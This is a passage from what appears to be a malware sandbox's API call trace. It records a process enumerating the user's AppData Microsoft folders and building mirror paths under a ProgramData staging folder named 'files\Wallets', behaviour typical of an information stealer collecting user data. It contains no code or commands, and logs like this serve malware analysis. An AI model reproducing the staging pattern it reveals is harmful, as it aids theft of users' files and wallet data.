hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.198] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk" [0052.198] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk" [0052.198] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.198] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk" [0052.199] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk" [0052.199] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.199] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk" [0052.199] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk" [0052.199] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.199] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk" [0052.199] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk" [0052.199] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.199] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk" [0052.199] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.199] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk" [0052.200] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.200] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.200] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.200] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.200] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.200] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0052.200] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.200] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.200] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0052.200] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.200] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.200] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.200] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0052.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\" [0052.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0052.200] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" [0052.200] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\" [0052.200] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" [0052.201] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0052.201] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0052.201] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0052.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*.*" [0052.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x589ec0 [0052.206] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0052.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\" [0052.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\." [0052.206] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" [0052.206] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\" [0052.206] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\." [0052.206] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.206] FindNextFileW (in: hFindFile=0x589ec0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.206] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0052.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\" [0052.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\.." [0052.206] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" [0052.206] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\" [0052.206] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\", lpString2=".." | out: 